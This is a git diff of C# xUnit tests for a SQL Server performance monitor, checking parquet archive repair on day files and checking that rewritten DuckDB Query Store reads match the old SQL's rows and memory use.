index 3c249d2c40..5130b4235a 100644
--- a/Lite.Tests/QueryStoreSliceRepairTests.cs
+++ b/Lite.Tests/QueryStoreSliceRepairTests.cs
@@ -262,6 +262,50 @@ public async Task Archive_RepairsTheSlicesInAPartFile_AndLeavesTheOtherPartsAlon
         Assert.Empty(Directory.GetFiles(_archivePath, "*.repair-tmp"));
     }
 
+    /// <summary>
+    /// Compaction merges this table one day at a time since #5410, so the archive holds day files
+    /// (<c>YYYYMMDD_query_store_stats.parquet</c>) and their parts next to the older month files. The repair's
+    /// two globs match both, so a split pair inside a day file is found and repaired like one in a month file,
+    /// and the other files keep their bytes.
+    /// </summary>
+    [Fact]
+    public async Task Archive_RepairsTheSlicesInADayFile_AndLeavesTheMonthAndOtherDayFilesAlone()
+    {
+        var wholeMonth = Path.Combine(_archivePath, "202609_query_store_stats.parquet");
+        var dayOne = Path.Combine(_archivePath, "20260927_query_store_stats.parquet");
+        var dayTwo = Path.Combine(_archivePath, "20260928_query_store_stats.parquet");
+        var dayTwoPart = Path.Combine(_archivePath, "20260928_query_store_stats_pt001.parquet");
+        await WriteCleanArchiveAsync(wholeMonth, firstQueryId: 100);
+        await WriteCleanArchiveAsync(dayOne, firstQueryId: 10);
+        await WriteLegacyArchiveAsync(dayTwo);
+        await WriteCleanArchiveAsync(dayTwoPart, firstQueryId: 30);
+        var untouched = new[] { wholeMonth, dayOne, dayTwoPart };
+        var bytesBefore = untouched.Select(File.ReadAllBytes).ToArray();
+
+        var service = new QueryStoreSliceRepairService(_duckDb, _archivePath);
+
+        var survey = await service.SurveyAsync();
+        Assert.Equal(
+            [Path.GetFileName(dayOne), Path.GetFileName(dayTwo), Path.GetFileName(dayTwoPart), Path.GetFileName(wholeMonth)],
+            survey.Archive.Select(a => Path.GetFileName(a.Path)).ToArray());
+        Assert.Equal(1, survey.ArchiveRowsRemoved);
+
+        var result = await service.RepairAsync();
+        Assert.Equal(1, result.RowsRemoved);
+        Assert.Empty(result.Failures);
+
+        var rows = await QueryArchiveAsync(dayTwo, "SELECT query_id, execution_count, avg_duration_us FROM read_parquet('{0}') ORDER BY query_id");
+        Assert.Equal(2, rows.Count);
+        Assert.Equal([1L, 125L, 1871L], rows[0]);
+        Assert.Equal([2L, 55L, 500L], rows[1]);
+
+        for (var i = 0; i < untouched.Length; i++)
+        {
+            Assert.Equal(bytesBefore[i], File.ReadAllBytes(untouched[i]));
+        }
+        Assert.Empty(Directory.GetFiles(_archivePath, "*.repair-tmp"));
+    }
+
     /// <summary>
     /// A file that fails verification must leave the ORIGINAL intact — no backup copy is kept, so
     /// verify-before-promote IS the safety.
@@ -515,7 +559,8 @@ public void EveryMutatingPhase_SitsInsideAWriteLockScope()
            the UI's exclusivity for the whole of a large archive rewrite. */
         Assert.Contains("using (_duckDb.AcquireReadLock(cancellationToken))", source, StringComparison.Ordinal);
         var readLock = source.IndexOf("using (_duckDb.AcquireReadLock(cancellationToken))", StringComparison.Ordinal);
-        var copyToTemp = source.IndexOf("COMPRESSION ZSTD)\";", StringComparison.Ordinal);
+        /* The COPY is located by its shared option list (#5381), which replaced the spelled-out "COMPRESSION ZSTD)". */
+        var copyToTemp = source.IndexOf("ParquetCompaction.ArchiveCopyOptions})\";", StringComparison.Ordinal);
         Assert.True(copyToTemp > readLock, "the rewrite-to-temp belongs under the read lock, not the write lock");
     }
 
diff --git a/Lite.Tests/QueryStoreSliceTieBreakSourceTests.cs b/Lite.Tests/QueryStoreSliceTieBreakSourceTests.cs
index 153845b9c1..fa198c203e 100644
--- a/Lite.Tests/QueryStoreSliceTieBreakSourceTests.cs
+++ b/Lite.Tests/QueryStoreSliceTieBreakSourceTests.cs
@@ -41,6 +41,7 @@ namespace Lite.Tests;
 /// by review on #1919; the alternative on offer was to soften the source comment to stop claiming coverage
 /// that did not exist, which would have been a Lite/Darling parity scope-down.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
 public sealed class QueryStoreSliceTieBreakSourceTests
 {
     /// <summary>
diff --git a/Lite.Tests/QueryStoreTextAfterRankingTests.cs b/Lite.Tests/QueryStoreTextAfterRankingTests.cs
new file mode 100644
index 0000000000..af3ff28a71
--- /dev/null
+++ b/Lite.Tests/QueryStoreTextAfterRankingTests.cs
@@ -0,0 +1,559 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Tests;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// #5381: the three Query Store reads (top queries, comparison, regressions) rank and aggregate on narrow columns and
+/// read <c>query_text</c> afterwards, by key, for the final rows only. Two kinds of pin:
+///
+/// <para><b>Parity.</b> The pre-change SQL is kept verbatim in <see cref="QueryStoreOldReadSql"/> as an oracle and run
+/// beside the shipped read over a store whose newest day sits in the hot table and whose older days are archived
+/// parquet files. Every column of every row must match. The store carries the shapes the text lookup could get wrong:
+/// a text only the older rows have (the latest row's is NULL), a query with no text at all, one query_hash shared by
+/// several query_ids with different texts, a WAITFOR text that ranks first, a query seen only in the baseline and one
+/// only in the recent window.</para>
+///
+/// <para><b>Memory.</b> A synthetic archive with wide texts, one row group per day like the archive writer's, is read
+/// under a low <c>memory_limit</c>. The old SQL runs out of memory there (asserted, so the limit cannot drift loose
+/// without failing), and the shipped read does not.</para>
+/// </summary>
+[Collection(QueryStoreMemoryPinCollection.Name)]
+public sealed class QueryStoreTextAfterRankingTests : IDisposable
+{
+    private const int ServerId = 5381;
+    private const int Queries = 60;
+    private const int SnapshotsPerDay = 3;
+    private const int ArchivedDays = 4;
+
+    private readonly string _dir = Path.Combine(Path.GetTempPath(), "LiteTests_5381_" + Guid.NewGuid().ToString("N")[..8]);
+    private readonly DateTime _anchor = DateTime.SpecifyKind(DateTime.UtcNow.Date.AddHours(12), DateTimeKind.Unspecified);
+    private DuckDbInitializer? _duckDb;
+
+    public void Dispose()
+    {
+        _duckDb?.Dispose();
+        try { Directory.Delete(_dir, recursive: true); } catch { /* best effort */ }
+    }
+
+    private async Task<DuckDbInitializer> BuildStoreAsync(int textRepeat, int queries = Queries, bool hotToday = true)
+    {
+        Directory.CreateDirectory(_dir);
+        /* Assigned straight to the field, which Dispose() releases: DuckDbInitializerDisposalGuardTests (#5208) accepts a field only when it is written this way. */
+        _duckDb = new DuckDbInitializer(Path.Combine(_dir, "test.duckdb"));
+        var duckDb = _duckDb;
+        await duckDb.InitializeFromTemplateAsync();
+        Directory.CreateDirectory(duckDb.ArchivePath);
+
+        using (var readLock = duckDb.AcquireReadLock())
+        using (var connection = duckDb.CreateConnection())
+        {
+            await connection.OpenAsync();
+            /* Day 0 (today) is the HOT table; days 1..4 are one parquet file each, named the way the archive writer
+               names them. The same query_ids recur every day, as Query Store ids do. */
+            if (hotToday)
+            {
+                await ExecAsync(connection, "INSERT INTO query_store_stats (" + Columns + ") " + SeedSelect(0, textRepeat, queries));
+            }
+
+            for (var day = hotToday ? 1 : 0; day <= ArchivedDays; day++)
+            {
+                var date = _anchor.Date.AddDays(-day);
+                var path = Path.Combine(duckDb.ArchivePath, $"{date:yyyyMMdd}_2300_query_store_stats.parquet").Replace('\\', '/');
+                await ExecAsync(connection, $"COPY ({SeedSelect(day, textRepeat, queries)}) TO '{path}' (FORMAT PARQUET, COMPRESSION ZSTD)");
+            }
+        }
+
+        await duckDb.CreateArchiveViewsAsync();
+        return duckDb;
+    }
+
+    private const string Columns =
+        "collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id, execution_type_desc, " +
+        "first_execution_time, last_execution_time, module_name, query_text, query_hash, execution_count, avg_cpu_time_us, " +
+        "avg_duration_us, avg_logical_io_reads, avg_logical_io_writes, avg_physical_io_reads, query_plan_hash, is_forced_plan, " +
+        "force_failure_count, runtime_stats_interval_id, replica_role";
+
+    /// <summary>One day of the seed. Text is constant per query_id, as it is in Query Store.</summary>
+    private string SeedSelect(int day, int textRepeat, int queries)
+    {
+        var dayStart = _anchor.Date.AddDays(-day).ToString("yyyy-MM-dd HH:mm:ss", CultureInfo.InvariantCulture);
+        var idBase = (long)(ArchivedDays - day + 1) * 1_000_000L;
+        /* Recent-only queries (queries+1..queries+3) exist on day 0 only; baseline-only ones (the last five) never on day 0. */
+        var presence = day == 0
+            ? $"(qid <= {queries - 5} OR qid > {queries})"
+            : $"qid <= {queries}";
+        /* qid 7: its newest snapshot (hot, last snap) has NULL text. qid 13: never any text. qid 11: a WAITFOR text, ranked first. */
+        var text = $@"CASE
+            WHEN qid = 13 THEN NULL
+            WHEN qid = 7 AND {day} = 0 AND snap = {SnapshotsPerDay - 1} THEN NULL
+            WHEN qid = 11 THEN 'WAITFOR DELAY ''00:00:01''; ' || repeat(md5(qid::VARCHAR), {textRepeat})
+            ELSE 'SELECT ' || qid::VARCHAR || ' FROM dbo.t ' || repeat(md5(qid::VARCHAR), {textRepeat}) END";
+        /* qids 7, 11 and 13 are expensive so they sit in the top page; every fifth query regressed on day 0. */
+        var duration = $@"CASE
+            WHEN qid = 11 THEN 90000 WHEN qid = 13 THEN 80000 WHEN qid = 7 THEN 70000
+            WHEN {day} = 0 AND qid % 5 = 0 THEN 4000 + qid * 37
+            ELSE 1000 + qid * 10 END";
+        return $@"
+SELECT
+    ({idBase} + qid * 10 + snap)::BIGINT AS collection_id,
+    TIMESTAMP '{dayStart}' + INTERVAL ((qid % 10) + 1) HOUR + INTERVAL (snap * 20) MINUTE AS collection_time,
+    {ServerId}::INTEGER AS server_id,
+    'srv' AS server_name,
+    CASE WHEN qid % 2 = 0 THEN 'db_even' ELSE 'db_odd' END AS database_name,
+    qid::BIGINT AS query_id,
+    qid::BIGINT AS plan_id,
+    'Regular' AS execution_type_desc,
+    TIMESTAMP '{dayStart}' AS first_execution_time,
+    TIMESTAMP '{dayStart}' + INTERVAL ((qid % 10) + 1) HOUR + INTERVAL (snap * 20) MINUTE AS last_execution_time,
+    CAST(NULL AS VARCHAR) AS module_name,
+    {text} AS query_text,
+    CASE WHEN qid > {queries - 5} THEN md5('u' || qid::VARCHAR) ELSE md5((qid % 40)::VARCHAR) END AS query_hash,
+    (100 + snap * 50 + qid % 7)::BIGINT AS execution_count,
+    (({duration}) / 2)::BIGINT AS avg_cpu_time_us,
+    ({duration})::BIGINT AS avg_duration_us,
+    (qid * 3)::BIGINT AS avg_logical_io_reads,
+    (qid % 4)::BIGINT AS avg_logical_io_writes,
+    (qid % 3)::BIGINT AS avg_physical_io_reads,
+    md5('p' || qid::VARCHAR) AS query_plan_hash,
+    FALSE AS is_forced_plan,
+    0::BIGINT AS force_failure_count,
+    ({day} * 100 + qid % 24)::BIGINT AS runtime_stats_interval_id,
+    CAST(NULL AS VARCHAR) AS replica_role
+FROM (SELECT range AS qid FROM range(1, {queries + 4})) q
+CROSS JOIN (SELECT range AS snap FROM range(0, {SnapshotsPerDay})) s
+WHERE {presence}";
+    }
+
+    private static async Task ExecAsync(DuckDBConnection connection, string sql)
+    {
+        using var command = connection.CreateCommand();
+        command.CommandText = sql;
+        await command.ExecuteNonQueryAsync();
+    }
+
+    private async Task<List<Dictionary<string, object?>>> OracleAsync(string sql, params object[] parameters)
+    {
+        using var readLock = _duckDb!.AcquireReadLock();
+        using var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync();
+        using var command = connection.CreateCommand();
+        command.CommandText = sql;
+        foreach (var parameter in parameters)
+        {
+            command.Parameters.Add(new DuckDBParameter { Value = parameter });
+        }
+
+        var rows = new List<Dictionary<string, object?>>();
+        using var reader = await command.ExecuteReaderAsync();
+        while (await reader.ReadAsync())
+        {
+            var row = new Dictionary<string, object?>();
+            for (var i = 0; i < reader.FieldCount; i++)
+            {
+                row[reader.GetName(i)] = reader.IsDBNull(i) ? null : reader.GetValue(i);
+            }
+            rows.Add(row);
+        }
+
+        return rows;
+    }
+
+    private static string Snake(string pascal) => Regex.Replace(pascal, "(?<=[a-z0-9])(?=[A-Z])", "_").ToLowerInvariant();
+
+    /// <summary>One value in a form both sides can be compared in: NULL and the model's 0 / "" default are the same.</summary>
+    private static string Normalize(object? value) => value switch
+    {
+        null => "",
+        string s => s,
+        DateTime d => d.Ticks.ToString(CultureInfo.InvariantCulture),
+        bool b => b ? "1" : "",
+        System.Numerics.BigInteger big => big.IsZero ? "" : big.ToString(CultureInfo.InvariantCulture),
+        IConvertible c => Math.Abs(c.ToDouble(CultureInfo.InvariantCulture)) < double.Epsilon ? "" : c.ToDouble(CultureInfo.InvariantCulture).ToString("R", CultureInfo.InvariantCulture),
+        _ => value.ToString() ?? "",
+    };
+
+    private static void AssertSameRows<T>(List<Dictionary<string, object?>> oracle, IReadOnlyList<T> actual, Dictionary<string, string>? columnToProperty = null, params string[] ignoredColumns)
+    {
+        Assert.Equal(oracle.Count, actual.Count);
+        var properties = typeof(T).GetProperties(BindingFlags.Public | BindingFlags.Instance)
+            .ToDictionary(p => p.Name, StringComparer.OrdinalIgnoreCase);
+        var compared = 0;
+        for (var i = 0; i < oracle.Count; i++)
+        {
+            foreach (var (column, expected) in oracle[i])
+            {
+                if (ignoredColumns.Contains(column))
+                {
+                    continue;
+                }
+
+                var propertyName = columnToProperty is not null && columnToProperty.TryGetValue(column, out var mapped) ? mapped : column.Replace("_", "");
+                Assert.True(properties.TryGetValue(propertyName, out var property), $"no property for column {column}");
+                var want = Normalize(expected);
+                var got = Normalize(property!.GetValue(actual[i]));
+                /* DOUBLE sums and averages can differ in the last bit between two plans that add in a different order. */
+                if (want != got && double.TryParse(want, NumberStyles.Float, CultureInfo.InvariantCulture, out var w)
+                    && double.TryParse(got, NumberStyles.Float, CultureInfo.InvariantCulture, out var g))
+                {
+                    Assert.True(Math.Abs(w - g) <= 1e-9 * Math.Max(Math.Abs(w), Math.Abs(g)), $"{column}: {want} vs {got}");
+                }
+                else
+                {
+                    Assert.True(want == got, $"row {i} {column}: {(want.Length > 60 ? want[..60] : want)} vs {(got.Length > 60 ? got[..60] : got)}");
+                }
+
+                compared++;
+            }
+        }
+
+        Assert.True(compared > 0);
+    }
+
+    private static bool IsOutOfMemory(Exception e) => e.ToString().Contains("Out of Memory", StringComparison.OrdinalIgnoreCase);
+
+    // ---- parity ----
+
+    [Fact]
+    public async Task TopQueries_ReturnTheOldReadsRows_ColumnForColumn()
+    {
+        var duckDb = await BuildStoreAsync(textRepeat: 3);
+        const int top = 12;
+
+        /* hoursBack 24 is day 0 (the hot table) only; 120 reaches every archived day as well. */
+        foreach (var hoursBack in new[] { 24, 120 })
+        {
+            var oracle = await OracleAsync(
+                QueryStoreOldReadSql.TopQueries.Replace("@@CANDIDATES@@", (top + 5).ToString(CultureInfo.InvariantCulture)),
+                ServerId, _anchor.AddHours(-hoursBack), _anchor, top);
+            var actual = await new LocalDataService(duckDb).GetQueryStoreTopQueriesAsync(ServerId, hoursBack, top, asOfUtc: _anchor);
+
+            Assert.Equal(top, actual.Count);
+            AssertSameRows(oracle, actual, ignoredColumns: ["page_ord", "candidate_count"]);
+            /* The shapes the text lookup could get wrong, in the page: */
+            Assert.DoesNotContain(actual, r => r.QueryId == 11);                              // WAITFOR, ranked first, filtered
+            Assert.Equal("", Assert.Single(actual, r => r.QueryId == 13).QueryText);           // no text anywhere
+            Assert.StartsWith("SELECT 7 FROM", Assert.Single(actual, r => r.QueryId == 7).QueryText, StringComparison.Ordinal); // newest row's text is NULL
+        }
+    }
+
+    [Fact]
+    public async Task Comparison_ReturnsTheOldReadsRows_ColumnForColumn()
+    {
+        var duckDb = await BuildStoreAsync(textRepeat: 3);
+        var (cs, ce, bs, be) = (_anchor.AddHours(-24), _anchor, _anchor.AddHours(-48), _anchor.AddHours(-24));
+
+        var oracle = await OracleAsync(QueryStoreOldReadSql.Comparison, ServerId, cs, ce, bs, be);
+        var actual = await new LocalDataService(duckDb).GetQueryStoreComparisonAsync(ServerId, cs, ce, bs, be);
+
+        Assert.True(oracle.Count > 20);
+        Assert.Contains(actual, r => r.ExecutionCount == 0 && r.BaselineExecutionCount > 0);   // baseline only
+        Assert.Contains(actual, r => r.ExecutionCount > 0 && r.BaselineExecutionCount == 0);   // recent only
+        oracle = [.. oracle.OrderBy(r => (string?)r["database_name"], StringComparer.Ordinal).ThenBy(r => (string?)r["query_hash"], StringComparer.Ordinal)];
+        var sorted = actual.OrderBy(r => r.DatabaseName, StringComparer.Ordinal).ThenBy(r => r.QueryHash, StringComparer.Ordinal).ToList();
+        AssertSameRows(oracle, sorted, new Dictionary<string, string>
+        {
+            ["exec_count"] = "ExecutionCount",
+            ["avg_cpu_ms"] = "AvgCpuMs",
+            ["avg_reads"] = "AvgReads",
+            ["baseline_exec_count"] = "BaselineExecutionCount",
+            ["baseline_avg_duration_ms"] = "BaselineAvgDurationMs",
+            ["baseline_avg_cpu_ms"] = "BaselineAvgCpuMs",
+            ["baseline_avg_reads"] = "BaselineAvgReads",
+        });
+        /* Several query_ids share one query_hash here (60 ids over 40 hashes), with different texts: the MAX must agree. */
+        Assert.Contains(oracle, r => ((string?)r["query_text"] ?? "").Length > 0);
+    }
+
+    /// <summary>
+    /// The review of #5396 (F2): a query whose NEWEST kept interval has no text, with an older kept interval in the same
+    /// period that has one, showed that older text under the old per-period MAX and showed '' under the winner-row read.
+    /// The extra rows go into the hot table, so every shape sits inside the windows the seed's days already fill.
+    /// </summary>
+    [Fact]
+    public async Task Comparison_ShowsAnOlderKeptRowsText_WhenTheNewestKeptRowHasNone()
+    {
+        var duckDb = await BuildStoreAsync(textRepeat: 3);
+        using (var readLock = duckDb.AcquireReadLock())
+        using (var connection = duckDb.CreateConnection())
+        {
+            await connection.OpenAsync();
+            /* 901: the newest interval is NULL, an older one has text. */
+            await InsertExtraAsync(connection, 9011, 901, "h901", 9011, _anchor.AddHours(-30), "older text 901");
+            await InsertExtraAsync(connection, 9012, 901, "h901", 9012, _anchor.AddHours(-2), null);
+            /* 903 + 904 share a hash: 903's newest is NULL but its older text sorts HIGHER than 904's, so dropping it changes the MAX. */
+            await InsertExtraAsync(connection, 9031, 903, "h903", 9031, _anchor.AddHours(-60), "zz 903");
+            await InsertExtraAsync(connection, 9032, 903, "h903", 9032, _anchor.AddHours(-1), null);
+            await InsertExtraAsync(connection, 9041, 904, "h903", 9041, _anchor.AddHours(-3), "aa 904");
+            /* 905: the text is two UTC days back, behind two NULL rows, so the per-day walk has to go past a day. */
+            await InsertExtraAsync(connection, 9051, 905, "h905", 9051, _anchor.AddHours(-50), "day-old 905");
+            await InsertExtraAsync(connection, 9052, 905, "h905", 9052, _anchor.AddHours(-26), null);
+            await InsertExtraAsync(connection, 9053, 905, "h905", 9053, _anchor.AddHours(-1), null);
+            /* 906: baseline period only. */
+            await InsertExtraAsync(connection, 9061, 906, "h906", 9061, _anchor.AddHours(-100), "baseline text 906");
+            await InsertExtraAsync(connection, 9062, 906, "h906", 9062, _anchor.AddHours(-80), null);
+            /* 907: ONE interval snapshotted twice; the older snapshot has text, the kept (newer) one does not. Old read: ''. */
+            await InsertExtraAsync(connection, 9071, 907, "h907", 9070, _anchor.AddHours(-5), "snapshot text 907");
+            await InsertExtraAsync(connection, 9072, 907, "h907", 9070, _anchor.AddHours(-4), null);
+        }
+
+        var (cs, ce, bs, be) = (_anchor.AddHours(-72), _anchor, _anchor.AddHours(-120), _anchor.AddHours(-72));
+        var oracle = await OracleAsync(QueryStoreOldReadSql.Comparison, ServerId, cs, ce, bs, be);
+        var actual = await new LocalDataService(duckDb).GetQueryStoreComparisonAsync(ServerId, cs, ce, bs, be);
+
+        oracle = [.. oracle.OrderBy(r => (string?)r["database_name"], StringComparer.Ordinal).ThenBy(r => (string?)r["query_hash"], StringComparer.Ordinal)];
+        var sorted = actual.OrderBy(r => r.DatabaseName, StringComparer.Ordinal).ThenBy(r => r.QueryHash, StringComparer.Ordinal).ToList();
+        AssertSameRows(oracle, sorted, new Dictionary<string, string>
+        {
+            ["exec_count"] = "ExecutionCount",
+            ["avg_cpu_ms"] = "AvgCpuMs",
+            ["avg_reads"] = "AvgReads",
+            ["baseline_exec_count"] = "BaselineExecutionCount",
+            ["baseline_avg_duration_ms"] = "BaselineAvgDurationMs",
+            ["baseline_avg_cpu_ms"] = "BaselineAvgCpuMs",
+            ["baseline_avg_reads"] = "BaselineAvgReads",
+        });
+        Assert.Equal("older text 901", Assert.Single(actual, r => r.QueryHash == "h901").QueryText);
+        Assert.Equal("zz 903", Assert.Single(actual, r => r.QueryHash == "h903").QueryText);
+        Assert.Equal("day-old 905", Assert.Single(actual, r => r.QueryHash == "h905").QueryText);
+        Assert.Equal("baseline text 906", Assert.Single(actual, r => r.QueryHash == "h906").QueryText);
+        Assert.Equal("", Assert.Single(actual, r => r.QueryHash == "h907").QueryText);
+    }
+
+    /// <summary>
+    /// The regressions fallback (a key whose latest kept row has no text) walks the window one UTC day at a time, newest
+    /// first, and stops at the first day with a text, instead of one MAX over every file of the window. Both window ends
+    /// are inclusive, including a row collected exactly at either.
+    /// </summary>
+    [Fact]
+    public async Task WindowTextFallback_WalksTheWindowNewestUtcDayFirst()
+    {
+        var duckDb = await BuildStoreAsync(textRepeat: 3);
+        using (var readLock = duckDb.AcquireReadLock())
+        using (var connection = duckDb.CreateConnection())
+        {
+            await connection.OpenAsync();
+            /* 'zzz older' sorts above 'aaa newer', so a MAX over the whole window and a newest-day-first walk disagree. */
+            await InsertExtraAsync(connection, 9101, 910, "h910", 9101, _anchor.AddDays(-3), "zzz older");
+            await InsertExtraAsync(connection, 9102, 910, "h910", 9102, _anchor.AddDays(-1).AddHours(-2), "aaa newer");
+            await InsertExtraAsync(connection, 9103, 910, "h910", 9103, _anchor.AddHours(-1), null);
+            await InsertExtraAsync(connection, 9111, 911, "h911", 9111, _anchor.AddDays(-3), "edge start 911");
+            await InsertExtraAsync(connection, 9121, 912, "h912", 9121, _anchor, "edge end 912");
+        }
+
+        using var read = await new LocalDataService(duckDb).OpenConnectionAsync();
+        var from = _anchor.AddDays(-3);
+        Assert.Equal("aaa newer", await LocalDataService.ReadQueryStoreWindowTextAsync(read, ServerId, "db_odd", 910, from, _anchor));
+        Assert.Equal("edge start 911", await LocalDataService.ReadQueryStoreWindowTextAsync(read, ServerId, "db_odd", 911, from, _anchor));
+        Assert.Equal("edge end 912", await LocalDataService.ReadQueryStoreWindowTextAsync(read, ServerId, "db_odd", 912, from, _anchor));
+        Assert.Null(await LocalDataService.ReadQueryStoreWindowTextAsync(read, ServerId, "db_odd", 910, from.AddDays(2), _anchor.AddDays(-1)));
+        Assert.Null(await LocalDataService.ReadQueryStoreWindowTextAsync(read, ServerId, "db_odd", 913, from, _anchor));
+    }
+
+    private async Task InsertExtraAsync(DuckDBConnection connection, long collectionId, long queryId, string hash, long interval, DateTime when, string? text)
+    {
+        var t = when.ToString("yyyy-MM-dd HH:mm:ss", CultureInfo.InvariantCulture);
+        var first = when.Date.ToString("yyyy-MM-dd HH:mm:ss", CultureInfo.InvariantCulture);
+        await ExecAsync(connection, $@"
+INSERT INTO query_store_stats ({Columns})
+VALUES ({collectionId}, TIMESTAMP '{t}', {ServerId}, 'srv', 'db_odd', {queryId}, {queryId}, 'Regular',
+        TIMESTAMP '{first}', TIMESTAMP '{t}', NULL, {(text is null ? "NULL" : "'" + text + "'")}, '{hash}', 10, 500, 1000, 5, 0, 0, 'p{queryId}',
+        FALSE, 0, {interval}, NULL)");
+    }
+
+    [Fact]
+    public async Task Regressions_ReturnTheOldReadsRows_ColumnForColumn()
+    {
+        var duckDb = await BuildStoreAsync(textRepeat: 3);
+
+        var oracle = await OracleAsync(QueryStoreOldReadSql.Regressions, ServerId, _anchor.AddHours(-24), _anchor, _anchor.AddHours(-24).AddDays(-LocalDataService.BaselineLookbackDays), 50);
+        var actual = await new LocalDataService(duckDb).GetQueryStoreRegressionsAsync(ServerId, 24, 50, asOfUtc: _anchor);
+
+        Assert.True(oracle.Count >= 5);
+        AssertSameRows(oracle, actual);
+        Assert.Contains(actual, r => r.QueryTextSample.Length > 0);
+    }
+
+    [Fact]
+    public void Utf8Order_AgreesWithDuckDbsVarcharOrder()
+    {
+        /* U+1F600 (a surrogate pair) sorts ABOVE U+FFFD in UTF-8 and below it in UTF-16. */
+        Assert.True(LocalDataService.CompareUtf8Order("😀", "�") > 0);
+        Assert.True(LocalDataService.CompareUtf8Order("a", "ab") < 0);
+        Assert.True(LocalDataService.CompareUtf8Order("b", "ab") > 0);
+        Assert.Equal(0, LocalDataService.CompareUtf8Order("same", "same"));
+    }
+
+    // ---- memory ----
+
+    /// <summary>
+    /// The archive under test: five days (4 parquet files, one row group each, like the archive writer's, plus day 0),
+    /// 300 recurring queries x 3 snapshots, ~100 KB of text each (~86 MB of text per day).
+    ///
+    /// <para>Why each pin is built the way it is. A DuckDB read's peak memory depends on the thread count, on what else
+    /// runs in the same instance, and on how many files the scan opens at once, so a pin that leaves those free passes
+    /// or fails with the test runner's load (the first version of these pins did: the old statement ran out of memory
+    /// when the test ran alone and fitted when other classes ran beside it). Here every pin builds its OWN database file
+    /// (BuildStoreAsync: a fresh folder per test), sets <c>threads = 1</c> and a fixed <c>memory_limit</c>, and the class
+    /// is in a collection that does not run in parallel with other collections. With one thread the old statement's peak
+    /// is the same on every run: the margins below were measured by sweeping the limit (comparison: new fits from 150MB,
+    /// old fails up to 500MB; regressions: new fits from 150MB, old fails up to 225MB), and each pin sits well inside
+    /// both edges.</para>
+    /// </summary>
+    private const int WideTextRepeat = 3000;
+    private const int WideQueries = 300;
+    private const string TightMemoryLimit = "200MB";
+    private const string TopQueriesMemoryLimit = "400MB";
+
+    /// <summary>What <c>ArchiveService</c> does (lower the instance's memory_limit), plus one thread so the peak is repeatable.</summary>
+    private async Task PinMemoryAsync(string limit)
+    {
+        using var readLock = _duckDb!.AcquireReadLock();
+        using var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync();
+        await ExecAsync(connection, "SET threads = 1");
+        await ExecAsync(connection, $"SET memory_limit = '{limit}'");
+    }
+
+    [Fact]
+    public async Task TopQueries_FitWhereTheOldReadFits_AndReturnTheWideText()
+    {
+        var duckDb = await BuildStoreAsync(WideTextRepeat, WideQueries, hotToday: false);
+        await PinMemoryAsync(TopQueriesMemoryLimit);
+
+        /* No RED half for this read, on purpose: at one thread the old statement's peak is its text lateral reading one
+           row group at a time, the same row group the new read's by-key lookup needs, so the two need the same ~300MB
+           over these five days (both fail at 250MB, both pass at 300MB). The old read only runs out of memory on a window
+           of many days AND many threads (the repro: 14 and 30 day windows of a 30 file archive at 1GB, default threads),
+           which this fixture cannot build repeatably. So the pin is the one that matters for a rewrite: wherever the old
+           statement fits, the new read fits and returns the same rows (the parity test above holds the rows). */
+        var old = await Record.ExceptionAsync(() => OracleAsync(
+            QueryStoreOldReadSql.TopQueries.Replace("@@CANDIDATES@@", "10"), ServerId, _anchor.AddHours(-120), _anchor, 5));
+        Assert.True(old is null, "the old SQL is expected to fit at this limit, so the new read is held to it: " + old);
+
+        var rows = await new LocalDataService(duckDb).GetQueryStoreTopQueriesAsync(ServerId, 120, 5, asOfUtc: _anchor);
+        Assert.Equal(5, rows.Count);
+        Assert.All(rows, r => Assert.True(r.QueryId == 13 || r.QueryText.Length > 90_000));
+    }
+
+    [Fact]
+    public async Task Comparison_FitsALowMemoryLimit_WhereTheOldReadDoesNot()
+    {
+        var duckDb = await BuildStoreAsync(WideTextRepeat, WideQueries, hotToday: false);
+        await PinMemoryAsync(TightMemoryLimit);
+        var (cs, ce, bs, be) = (_anchor.AddHours(-24), _anchor, _anchor.AddHours(-96), _anchor.AddHours(-24));
+
+        var old = await Record.ExceptionAsync(() => OracleAsync(QueryStoreOldReadSql.Comparison, ServerId, cs, ce, bs, be));
+        Assert.True(old is not null && IsOutOfMemory(old), "the old SQL must run out of memory at this limit: " + old);
+
+        var rows = await new LocalDataService(duckDb).GetQueryStoreComparisonAsync(ServerId, cs, ce, bs, be);
+        Assert.True(rows.Count > 20);
+        Assert.Contains(rows, r => r.QueryText.Length > 90_000);
+    }
+
+    [Fact]
+    public async Task Regressions_FitALowMemoryLimit_WhereTheOldReadDoesNot()
+    {
+        var duckDb = await BuildStoreAsync(WideTextRepeat, WideQueries, hotToday: false);
+        await PinMemoryAsync(TightMemoryLimit);
+
+        var old = await Record.ExceptionAsync(() => OracleAsync(
+            QueryStoreOldReadSql.Regressions, ServerId, _anchor.AddHours(-24), _anchor, _anchor.AddHours(-24).AddDays(-LocalDataService.BaselineLookbackDays), 50));
+        Assert.True(old is not null && IsOutOfMemory(old), "the old SQL must run out of memory at this limit: " + old);
+
+        var rows = await new LocalDataService(duckDb).GetQueryStoreRegressionsAsync(ServerId, 24, 50, asOfUtc: _anchor);
+        Assert.True(rows.Count >= 5);
+        Assert.Contains(rows, r => r.QueryTextSample.Length > 90_000);
+    }
+
+    /// <summary>
+    /// The by-key text lookups carry the time filter, so the parquet scan can skip every row group whose collection_time
+    /// range cannot hold the rows asked for. Without it a lookup for one row decodes the text column of every day.
+    /// </summary>
+    [Fact]
+    public async Task TheTextLookups_CarryTheTimeFilterIntoTheScan()
+    {
+        var duckDb = await BuildStoreAsync(textRepeat: 3);
+        var from = _anchor.AddDays(-2);
+        var to = _anchor.AddDays(-1);
+
+        var byRow = await OracleAsync("EXPLAIN " + LocalDataService.TextByRowSql([1_000_000L + 10, 1_000_000L + 11]), ServerId, from, to);
